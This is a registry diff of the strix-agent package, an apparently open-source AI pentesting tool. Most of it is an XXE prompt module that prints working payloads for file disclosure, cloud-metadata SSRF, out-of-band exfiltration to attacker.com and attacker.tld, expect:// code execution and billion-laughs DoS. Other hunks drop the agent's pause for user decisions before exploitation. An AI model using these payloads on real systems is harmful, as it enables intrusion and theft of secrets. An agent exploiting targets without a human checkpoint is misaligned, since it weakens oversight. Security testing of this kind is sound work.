strix-agent 0.1.18__py3-none-any.whl → 0.1.19__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of strix-agent might be problematic. Click here for more details.

Files changed (40) hide show
  1. strix/agents/StrixAgent/strix_agent.py +2 -1
  2. strix/agents/StrixAgent/system_prompt.jinja +8 -10
  3. strix/agents/base_agent.py +20 -0
  4. strix/agents/state.py +18 -1
  5. strix/cli/app.py +92 -15
  6. strix/cli/main.py +3 -2
  7. strix/cli/tool_components/base_renderer.py +2 -2
  8. strix/cli/tool_components/reporting_renderer.py +2 -1
  9. strix/prompts/README.md +64 -0
  10. strix/prompts/__init__.py +1 -1
  11. strix/prompts/cloud/.gitkeep +0 -0
  12. strix/prompts/custom/.gitkeep +0 -0
  13. strix/prompts/frameworks/fastapi.jinja +142 -0
  14. strix/prompts/frameworks/nextjs.jinja +126 -0
  15. strix/prompts/protocols/graphql.jinja +215 -0
  16. strix/prompts/reconnaissance/.gitkeep +0 -0
  17. strix/prompts/technologies/firebase_firestore.jinja +177 -0
  18. strix/prompts/technologies/supabase.jinja +189 -0
  19. strix/prompts/vulnerabilities/authentication_jwt.jinja +133 -115
  20. strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
  21. strix/prompts/vulnerabilities/business_logic.jinja +146 -118
  22. strix/prompts/vulnerabilities/csrf.jinja +137 -131
  23. strix/prompts/vulnerabilities/idor.jinja +149 -118
  24. strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
  25. strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
  26. strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
  27. strix/prompts/vulnerabilities/race_conditions.jinja +135 -165
  28. strix/prompts/vulnerabilities/rce.jinja +128 -180
  29. strix/prompts/vulnerabilities/sql_injection.jinja +128 -192
  30. strix/prompts/vulnerabilities/ssrf.jinja +118 -151
  31. strix/prompts/vulnerabilities/xss.jinja +144 -196
  32. strix/prompts/vulnerabilities/xxe.jinja +151 -243
  33. strix/tools/agents_graph/agents_graph_actions.py +4 -3
  34. strix/tools/agents_graph/agents_graph_actions_schema.xml +10 -14
  35. strix/tools/registry.py +1 -1
  36. {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/METADATA +52 -13
  37. {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/RECORD +40 -27
  38. {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/LICENSE +0 -0
  39. {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/WHEEL +0 -0
  40. {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/entry_points.txt +0 -0
@@ -1,276 +1,184 @@
1
1
  <xxe_vulnerability_guide>
2
- <title>XML EXTERNAL ENTITY (XXE) - ADVANCED EXPLOITATION</title>
3
-
4
- <critical>XXE leads to file disclosure, SSRF, RCE, and DoS. Often found in APIs, file uploads, and document parsers.</critical>
5
-
6
- <discovery_points>
7
- - XML file uploads (docx, xlsx, svg, xml)
8
- - SOAP endpoints
9
- - REST APIs accepting XML
10
- - SAML implementations
11
- - RSS/Atom feeds
12
- - XML configuration files
13
- - WebDAV
14
- - Office document processors
15
- - SVG image uploads
16
- - PDF generators with XML input
17
- </discovery_points>
18
-
19
- <basic_payloads>
20
- <file_disclosure>
21
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
22
- <root>&xxe;</root>
23
-
24
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
25
- <root>&xxe;</root>
26
- </file_disclosure>
27
-
28
- <ssrf_via_xxe>
29
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
30
- <root>&xxe;</root>
31
- </ssrf_via_xxe>
32
-
33
- <blind_xxe_oob>
34
- <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
2
+ <title>XML EXTERNAL ENTITY (XXE)</title>
3
+
4
+ <critical>XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.</critical>
5
+
6
+ <scope>
7
+ - File disclosure: read server files and configuration
8
+ - SSRF: reach metadata services, internal admin panels, service ports
9
+ - DoS: entity expansion (billion laughs), external resource amplification
10
+ - Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
11
+ - Transclusion: XInclude and XSLT document() loading external resources
12
+ </scope>
13
+
14
+ <methodology>
15
+ 1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
16
+ 2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
17
+ 3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
18
+ 4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
19
+ </methodology>
20
+
21
+ <discovery_techniques>
22
+ <surface_map>
23
+ - File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
24
+ - Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
25
+ - Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
26
+ </surface_map>
27
+
28
+ <capability_probes>
29
+ - Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
30
+ - External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
31
+ - XInclude probe: add xi:include to see if transclusion is enabled
32
+ - XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
33
+ </capability_probes>
34
+ </discovery_techniques>
35
+
36
+ <detection_channels>
37
+ <direct>
38
+ - Inline disclosure of entity content in the HTTP response, transformed output, or error pages
39
+ </direct>
40
+
41
+ <error_based>
42
+ - Coerce parser errors that leak path fragments or file content via interpolated messages
43
+ </error_based>
44
+
45
+ <oast>
46
+ - Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
47
+ - Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
48
+ </oast>
49
+
50
+ <timing>
51
+ - Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
52
+ </timing>
53
+ </detection_channels>
54
+
55
+ <core_payloads>
56
+ <local_file>
57
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
58
+ <r>&xxe;</r>
59
+
60
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
61
+ <r>&xxe;</r>
62
+ </local_file>
63
+
64
+ <ssrf>
65
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
66
+ <r>&xxe;</r>
67
+
68
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
69
+ <r>&xxe;</r>
70
+ </ssrf>
71
+
72
+ <oob_parameter_entity>
73
+ <!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
35
74
 
36
75
  evil.dtd:
37
- <!ENTITY % file SYSTEM "file:///etc/passwd">
38
- <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
39
- %eval;
40
- %exfiltrate;
41
- </blind_xxe_oob>
42
- </basic_payloads>
76
+ <!ENTITY % f SYSTEM "file:///etc/hostname">
77
+ <!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
78
+ %e; %exfil;
79
+ </oob_parameter_entity>
80
+ </core_payloads>
43
81
 
44
82
  <advanced_techniques>
45
83
  <parameter_entities>
46
- <!DOCTYPE foo [
47
- <!ENTITY % data SYSTEM "file:///etc/passwd">
48
- <!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://evil.com/?d=%data;'>">
49
- %param;
50
- %exfil;
51
- ]>
84
+ - Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
52
85
  </parameter_entities>
53
86
 
54
- <error_based_xxe>
55
- <!DOCTYPE foo [
56
- <!ENTITY % file SYSTEM "file:///etc/passwd">
57
- <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
58
- %eval;
59
- %error;
60
- ]>
61
- </error_based_xxe>
62
-
63
- <xxe_in_attributes>
64
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
65
- <root attr="&xxe;"/>
66
- </xxe_in_attributes>
67
- </advanced_techniques>
68
-
69
- <filter_bypasses>
70
- <encoding_tricks>
71
- - UTF-16: <?xml version="1.0" encoding="UTF-16"?>
72
- - UTF-7: <?xml version="1.0" encoding="UTF-7"?>
73
- - Base64 in CDATA: <![CDATA[base64_payload]]>
74
- </encoding_tricks>
75
-
76
- <protocol_variations>
77
- - file:// → file:
78
- - file:// → netdoc://
79
- - http:// → https://
80
- - Gopher: gopher://
81
- - PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd
82
- </protocol_variations>
83
-
84
- <doctype_variations>
85
- <!doctype foo [
86
- <!DoCtYpE foo [
87
- <!DOCTYPE foo PUBLIC "Any" "http://evil.com/evil.dtd">
88
- <!DOCTYPE foo SYSTEM "http://evil.com/evil.dtd">
89
- </doctype_variations>
90
- </filter_bypasses>
91
-
92
- <specific_contexts>
93
- <json_xxe>
94
- {% raw %}{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}{% endraw %}
95
- </json_xxe>
96
-
97
- <soap_xxe>
98
- <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
99
- <soap:Body>
100
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
101
- <foo>&xxe;</foo>
102
- </soap:Body>
103
- </soap:Envelope>
104
- </soap_xxe>
105
-
106
- <svg_xxe>
107
- <svg xmlns="http://www.w3.org/2000/svg">
108
- <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
109
- <text>&xxe;</text>
110
- </svg>
111
- </svg_xxe>
112
-
113
- <docx_xlsx_xxe>
114
- 1. Unzip document
115
- 2. Edit document.xml or similar
116
- 3. Add XXE payload
117
- 4. Rezip and upload
118
- </docx_xlsx_xxe>
119
- </specific_contexts>
120
-
121
- <blind_xxe_techniques>
122
- <dns_exfiltration>
123
- <!DOCTYPE foo [
124
- <!ENTITY % data SYSTEM "file:///etc/hostname">
125
- <!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://%data;.attacker.com/'>">
126
- %param;
127
- %exfil;
128
- ]>
129
- </dns_exfiltration>
130
-
131
- <ftp_exfiltration>
132
- <!DOCTYPE foo [
133
- <!ENTITY % data SYSTEM "file:///etc/passwd">
134
- <!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
135
- %param;
136
- %exfil;
137
- ]>
138
- </ftp_exfiltration>
139
-
140
- <php_wrappers>
141
- <!DOCTYPE foo [
142
- <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
143
- ]>
144
- <root>&xxe;</root>
145
- </php_wrappers>
146
- </blind_xxe_techniques>
147
-
148
- <xxe_to_rce>
149
- <expect_module>
150
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
151
- <root>&xxe;</root>
152
- </expect_module>
153
-
154
- <file_upload_lfi>
155
- 1. Upload malicious PHP via XXE
156
- 2. Include via LFI or direct access
157
- </file_upload_lfi>
158
-
159
- <java_specific>
160
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///tmp/evil.jar!/evil.class">]>
161
- </java_specific>
162
- </xxe_to_rce>
163
-
164
- <denial_of_service>
165
- <billion_laughs>
166
- <!DOCTYPE lolz [
167
- <!ENTITY lol "lol">
168
- <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
169
- <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
170
- <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
171
- <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;">
172
- ]>
173
- <lolz>&lol5;</lolz>
174
- </billion_laughs>
175
-
176
- <external_dtd_dos>
177
- <!DOCTYPE foo SYSTEM "http://slow-server.com/huge.dtd">
178
- </external_dtd_dos>
179
- </denial_of_service>
180
-
181
- <modern_bypasses>
182
87
  <xinclude>
183
88
  <root xmlns:xi="http://www.w3.org/2001/XInclude">
184
89
  <xi:include parse="text" href="file:///etc/passwd"/>
185
90
  </root>
91
+ - Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
186
92
  </xinclude>
187
93
 
188
- <xslt>
94
+ <xslt_document>
95
+ - XSLT processors can fetch external resources via document():
189
96
  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
190
97
  <xsl:template match="/">
191
98
  <xsl:copy-of select="document('file:///etc/passwd')"/>
192
99
  </xsl:template>
193
100
  </xsl:stylesheet>
194
- </xslt>
195
- </modern_bypasses>
101
+ - Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
102
+ </xslt_document>
103
+
104
+ <protocol_wrappers>
105
+ - Java: jar:, netdoc:
106
+ - PHP: php://filter, expect:// (when module enabled)
107
+ - Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
108
+ </protocol_wrappers>
109
+ </advanced_techniques>
196
110
 
197
- <parser_specific>
198
- <java>
199
- - Supports jar: protocol
200
- - External DTDs by default
201
- - Parameter entities work
202
- </java>
111
+ <filter_bypasses>
112
+ <encoding_variants>
113
+ - UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
114
+ </encoding_variants>
203
115
 
204
- <dotnet>
205
- - Supports file:// by default
206
- - DTD processing varies by version
207
- </dotnet>
116
+ <doctype_variants>
117
+ - PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
118
+ </doctype_variants>
208
119
 
209
- <php>
210
- - libxml2 based
211
- - expect:// protocol with expect module
212
- - php:// wrappers
213
- </php>
120
+ <network_controls>
121
+ - If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
122
+ </network_controls>
123
+ </filter_bypasses>
124
+
125
+ <special_contexts>
126
+ <soap>
127
+ <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
128
+ <soap:Body>
129
+ <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
130
+ <d>&xxe;</d>
131
+ </soap:Body>
132
+ </soap:Envelope>
133
+ </soap>
214
134
 
215
- <python>
216
- - Default parsers often vulnerable
217
- - lxml safer than xml.etree
218
- </python>
219
- </parser_specific>
135
+ <saml>
136
+ - Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
137
+ </saml>
220
138
 
221
- <validation_testing>
222
- <detection>
223
- 1. Basic entity test: &xxe;
224
- 2. External DTD: http://attacker.com/test.dtd
225
- 3. Parameter entity: %xxe;
226
- 4. Time-based: DTD with slow server
227
- 5. DNS lookup: http://test.attacker.com/
228
- </detection>
139
+ <svg_and_renderers>
140
+ - Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
141
+ </svg_and_renderers>
229
142
 
230
- <false_positives>
231
- - Entity declared but not processed
232
- - DTD loaded but entities blocked
233
- - Output encoding preventing exploitation
234
- - Limited file access (chroot/sandbox)
235
- </false_positives>
236
- </validation_testing>
143
+ <office_docs>
144
+ - OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
145
+ </office_docs>
146
+ </special_contexts>
237
147
 
238
- <impact_demonstration>
239
- 1. Read sensitive files (/etc/passwd, web.config)
240
- 2. Cloud metadata access (AWS keys)
241
- 3. Internal network scanning (SSRF)
242
- 4. Data exfiltration proof
243
- 5. DoS demonstration
244
- 6. RCE if possible
245
- </impact_demonstration>
148
+ <validation>
149
+ 1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
150
+ 2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
151
+ 3. Confirm blind channels with OAST and correlate to the triggering request.
152
+ 4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
153
+ 5. Bound impact: exact files/data reached or internal targets proven.
154
+ </validation>
246
155
 
247
- <automation>
248
- # XXE Scanner
249
- def test_xxe(url, param):
250
- payloads = [
251
- '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
252
- '<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/"> %xxe;]><foo/>',
253
- '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
254
- ]
156
+ <false_positives>
157
+ - DOCTYPE accepted but entities not resolved and no transclusion reachable
158
+ - Filters or sandboxes that emit entity strings literally (no IO performed)
159
+ - Mocks/stubs that simulate success without network/file access
160
+ - XML processed only client-side (no server parse)
161
+ </false_positives>
255
162
 
256
- for payload in payloads:
257
- response = requests.post(url, data={param: payload})
258
- if 'root:' in response.text or check_callback():
259
- return f"XXE found with: {payload}"
260
- </automation>
163
+ <impact>
164
+ - Disclosure of credentials/keys/configs, code, and environment secrets
165
+ - Access to cloud metadata/token services and internal admin panels
166
+ - Denial of service via entity expansion or slow external resources
167
+ - Code execution via XSLT/expect:// in insecure stacks
168
+ </impact>
261
169
 
262
170
  <pro_tips>
263
- 1. Try all protocols, not just file://
264
- 2. Use parameter entities for blind XXE
265
- 3. Chain with SSRF for cloud metadata
266
- 4. Test different encodings (UTF-16)
267
- 5. Don't forget JSON/SOAP contexts
268
- 6. XInclude when entities are blocked
269
- 7. Error messages reveal file paths
270
- 8. Monitor DNS for blind confirmation
271
- 9. Some parsers allow network access but not files
272
- 10. Modern frameworks disable XXE by default - check configs
171
+ 1. Prefer OAST first; it is the quietest confirmation in production-like paths.
172
+ 2. When content is sanitized, use error-based and length/ETag diffs.
173
+ 3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
174
+ 4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts.
175
+ 5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly.
176
+ 6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS.
177
+ 7. Test background processors separately; they often use different parser settings.
178
+ 8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
179
+ 9. Combine with path traversal and deserialization where XML touches downstream systems.
180
+ 10. Document exact parser behavior per stack; defenses must match real libraries and flags.
273
181
  </pro_tips>
274
182
 
275
- <remember>XXE is about understanding parser behavior. Different parsers have different features and restrictions. Always test comprehensively and demonstrate maximum impact.</remember>
183
+ <remember>XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.</remember>
276
184
  </xxe_vulnerability_guide>
@@ -199,11 +199,11 @@ def create_agent(
199
199
  if prompt_modules:
200
200
  module_list = [m.strip() for m in prompt_modules.split(",") if m.strip()]
201
201
 
202
- if len(module_list) > 3:
202
+ if len(module_list) > 5:
203
203
  return {
204
204
  "success": False,
205
205
  "error": (
206
- "Cannot specify more than 3 prompt modules for an agent "
206
+ "Cannot specify more than 5 prompt modules for an agent "
207
207
  "(use comma-separated format)"
208
208
  ),
209
209
  "agent_id": None,
@@ -565,7 +565,7 @@ def send_user_message_to_agent(agent_id: str, message: str) -> dict[str, Any]:
565
565
  @register_tool(sandbox_execution=False)
566
566
  def wait_for_message(
567
567
  agent_state: Any,
568
- reason: str = "Waiting for messages from other agents or user input",
568
+ reason: str = "Waiting for messages from other agents",
569
569
  ) -> dict[str, Any]:
570
570
  try:
571
571
  agent_id = agent_state.agent_id
@@ -603,5 +603,6 @@ def wait_for_message(
603
603
  "Message from another agent",
604
604
  "Message from user",
605
605
  "Direct communication",
606
+ "Waiting timeout reached",
606
607
  ],
607
608
  }
@@ -80,7 +80,7 @@ Only create a new agent if no existing agent is handling the specific task.</des
80
80
  <description>Whether the new agent should inherit parent's conversation history and context</description>
81
81
  </parameter>
82
82
  <parameter name="prompt_modules" type="string" required="false">
83
- <description>Comma-separated list of prompt modules to use for the agent (MAXIMUM 3 modules allowed). Most agents should have at least one module in order to be useful. Agents should be highly specialized - use 1-3 related vulnerability modules only. {{DYNAMIC_MODULES_DESCRIPTION}}</description>
83
+ <description>Comma-separated list of prompt modules to use for the agent (MAXIMUM 5 modules allowed). Most agents should have at least one module in order to be useful. Agents should be highly specialized - use 1-3 related modules; up to 5 for complex contexts. {{DYNAMIC_MODULES_DESCRIPTION}}</description>
84
84
  </parameter>
85
85
  </parameters>
86
86
  <returns type="Dict[str, Any]">
@@ -114,7 +114,7 @@ Only create a new agent if no existing agent is handling the specific task.</des
114
114
  <parameter=prompt_modules>xss</parameter>
115
115
  </function>
116
116
 
117
- # Example of maximum 3 related modules (borderline acceptable)
117
+ # Example of up to 5 related modules (borderline acceptable)
118
118
  <function=create_agent>
119
119
  <parameter=task>Test for server-side vulnerabilities including SSRF, XXE, and potential
120
120
  RCE vectors in file upload and XML processing endpoints.</parameter>
@@ -182,25 +182,26 @@ Only create a new agent if no existing agent is handling the specific task.</des
182
182
  </returns>
183
183
  </tool>
184
184
  <tool name="wait_for_message">
185
- <description>Pause the agent loop indefinitely until receiving a message from another agent or user.
185
+ <description>Pause the agent loop indefinitely until receiving a message from another agent.
186
186
 
187
187
  This tool puts the agent into a waiting state where it remains idle until it receives any form of communication. The agent will automatically resume execution when a message arrives.
188
188
 
189
189
  IMPORTANT: This tool causes the agent to stop all activity until a message is received. Use it when you need to:
190
190
  - Wait for subagent completion reports
191
191
  - Coordinate with other agents before proceeding
192
- - Pause for user input or decisions
193
192
  - Synchronize multi-agent workflows
194
193
 
195
194
  NOTE: If you are waiting for an agent that is NOT your subagent, you first tell it to message you with updates before waiting for it. Otherwise, you will wait forever!
196
195
  </description>
197
- <details>When this tool is called, the agent enters a waiting state and will not continue execution until:
198
- - Another agent sends it a message via send_message_to_agent
199
- - A user sends it a direct message through the CLI
200
- - Any other form of inter-agent or user communication occurs
196
+ <details>When this tool is called, the agent (you) enters a waiting state and will not continue execution until:
197
+ - Another agent sends a message via send_message_to_agent
198
+ - Any other form of inter-agent communication occurs
199
+ - Waiting timeout is reached
201
200
 
202
201
  The agent will automatically resume from where it left off once a message is received.
203
- This is particularly useful for parent agents waiting for subagent results or for coordination points in multi-agent workflows.</details>
202
+ This is particularly useful for parent agents waiting for subagent results or for coordination points in multi-agent workflows.
203
+ NOTE: If you finished your task, and you do NOT have any child agents running, you should NEVER use this tool, and just call finish tool instead.
204
+ </details>
204
205
  <parameters>
205
206
  <parameter name="reason" type="string" required="false">
206
207
  <description>Explanation for why the agent is waiting (for logging and monitoring purposes)</description>
@@ -215,11 +216,6 @@ NOTE: If you are waiting for an agent that is NOT your subagent, you first tell
215
216
  <parameter=reason>Waiting for subdomain enumeration and port scanning subagents to complete their tasks and report findings</parameter>
216
217
  </function>
217
218
 
218
- # Wait for user input on next steps
219
- <function=wait_for_message>
220
- <parameter=reason>Waiting for user decision on whether to proceed with exploitation of discovered SQL injection vulnerability</parameter>
221
- </function>
222
-
223
219
  # Coordinate with other agents
224
220
  <function=wait_for_message>
225
221
  <parameter=reason>Waiting for vulnerability assessment agent to share discovered attack vectors before proceeding with exploitation phase</parameter>
strix/tools/registry.py CHANGED
@@ -33,7 +33,7 @@ def _process_dynamic_content(content: str) -> str:
33
33
  logger.warning("Could not import prompts utilities for dynamic schema generation")
34
34
  content = content.replace(
35
35
  "{{DYNAMIC_MODULES_DESCRIPTION}}",
36
- "List of prompt modules to load for this agent (max 3). Module discovery failed.",
36
+ "List of prompt modules to load for this agent (max 5). Module discovery failed.",
37
37
  )
38
38
 
39
39
  return content
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.3
2
2
  Name: strix-agent
3
- Version: 0.1.18
3
+ Version: 0.1.19
4
4
  Summary: Open-source AI Hackers for your apps
5
5
  License: Apache-2.0
6
6
  Keywords: cybersecurity,security,vulnerability,scanner,pentest,agent,ai,cli
@@ -44,10 +44,11 @@ Description-Content-Type: text/markdown
44
44
 
45
45
  ### Open-source AI hackers for your apps
46
46
 
47
+ [![Strix](https://img.shields.io/badge/Strix-usestrix.com-1a1a1a.svg)](https://usestrix.com)
47
48
  [![Apache 2.0](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](LICENSE)
48
- [![Vercel AI Accelerator 2025](https://img.shields.io/badge/Vercel%20AI-Accelerator%202025-000000?style=flat&logo=vercel)](https://vercel.com/ai-accelerator)
49
- [![Status: Alpha](https://img.shields.io/badge/status-alpha-orange.svg)](https://github.com/usestrix/strix)
50
-
49
+ [![Discord](https://img.shields.io/badge/Discord-join-5865F2?logo=discord&logoColor=white)](https://discord.gg/yduEyduBsp)
50
+ [![PyPI Downloads](https://static.pepy.tech/personalized-badge/strix-agent?period=total&units=INTERNATIONAL_SYSTEM&left_color=GRAY&right_color=BLACK&left_text=Downloads)](https://pepy.tech/projects/strix-agent)
51
+ [![GitHub stars](https://img.shields.io/github/stars/usestrix/strix.svg?style=social&label=Star)](https://github.com/usestrix/strix)
51
52
  </div>
52
53
 
53
54
  <div align="center">
@@ -60,8 +61,30 @@ Description-Content-Type: text/markdown
60
61
 
61
62
  Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual exploitation. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
62
63
 
64
+ - **Full hacker toolkit** out of the box
65
+ - **Teams of agents** that collaborate and scale
66
+ - **Real validation** via exploitation and PoC, not false positives
67
+ - **Developer‑first** CLI with actionable reports
68
+ - **Auto‑fix & reporting** to accelerate remediation
69
+
70
+ ---
71
+
72
+ ### 🎯 Use Cases
73
+
74
+ - Detect and validate critical vulnerabilities in your applications.
75
+ - Get penetration tests done in hours, not weeks, with compliance reports.
76
+ - Automate bug bounty research and generate PoCs for faster reporting.
77
+ - Run tests in CI/CD to block vulnerabilities before reaching production.
78
+
79
+ ---
80
+
63
81
  ### 🚀 Quick Start
64
82
 
83
+ Prerequisites:
84
+ - Docker (running)
85
+ - Python 3.12+
86
+ - An LLM provider key (or a local LLM)
87
+
65
88
  ```bash
66
89
  # Install
67
90
  pipx install strix-agent
@@ -74,12 +97,11 @@ export LLM_API_KEY="your-api-key"
74
97
  strix --target ./app-directory
75
98
  ```
76
99
 
77
- ## Why Use Strix
100
+ First run pulls the sandbox Docker image. Results are saved under `agent_runs/<run-name>`.
101
+
102
+ ### ☁️ Cloud Hosted
78
103
 
79
- - **Full Hacker Arsenal** - All the tools a professional hacker needs, built into the agents
80
- - **Real Validation** - Dynamic testing and actual exploitation, thus much fewer false positives
81
- - **Developer-First** - Seamlessly integrates into existing development workflows
82
- - **Auto-Fix & Reporting** - Automated patching with detailed remediation and security reports
104
+ Want to skip the setup? Try our cloud-hosted version: **[usestrix.com](https://usestrix.com)**
83
105
 
84
106
  ## ✨ Features
85
107
 
@@ -124,6 +146,9 @@ strix --target https://your-app.com
124
146
 
125
147
  # Focused testing
126
148
  strix --target api.your-app.com --instruction "Prioritize authentication and authorization testing"
149
+
150
+ # Testing with credentials
151
+ strix --target https://your-app.com --instruction "Test with credentials: testuser/testpass. Focus on privilege escalation and access control bypasses."
127
152
  ```
128
153
 
129
154
  ### ⚙️ Configuration
@@ -150,19 +175,33 @@ Our managed platform provides:
150
175
  - **🔌 Third-Party Integrations**
151
176
  - **🎯 Enterprise Support**
152
177
 
153
- [**Get Enterprise Demo →**](https://form.typeform.com/to/ljtvl6X0)
178
+ [**Get Enterprise Demo →**](https://usestrix.com)
154
179
 
155
180
  ## 🔒 Security Architecture
156
181
 
157
182
  - **Container Isolation** - All testing in sandboxed Docker environments
158
183
  - **Local Processing** - Testing runs locally, no data sent to external services
159
184
 
160
- > [!NOTE]
161
- > Strix is currently in Alpha. Expect rapid updates and improvements.
162
-
163
185
  > [!WARNING]
164
186
  > Only test systems you own or have permission to test. You are responsible for using Strix ethically and legally.
165
187
 
188
+ ## 🤝 Contributing
189
+
190
+ We welcome contributions from the community! There are several ways to contribute:
191
+
192
+ ### Code Contributions
193
+ See our [Contributing Guide](CONTRIBUTING.md) for details on:
194
+ - Setting up your development environment
195
+ - Running tests and quality checks
196
+ - Submitting pull requests
197
+ - Code style guidelines
198
+
199
+ ### Prompt Modules Collection
200
+ Help expand our collection of specialized prompt modules for AI agents:
201
+ - Advanced testing techniques for vulnerabilities, frameworks, and technologies
202
+ - See [Prompt Modules Documentation](strix/prompts/README.md) for guidelines
203
+ - Submit via [pull requests](https://github.com/usestrix/strix/pulls) or [issues](https://github.com/usestrix/strix/issues)
204
+
166
205
  ## 🌟 Support the Project
167
206
 
168
207
  **Love Strix?** Give us a ⭐ on GitHub!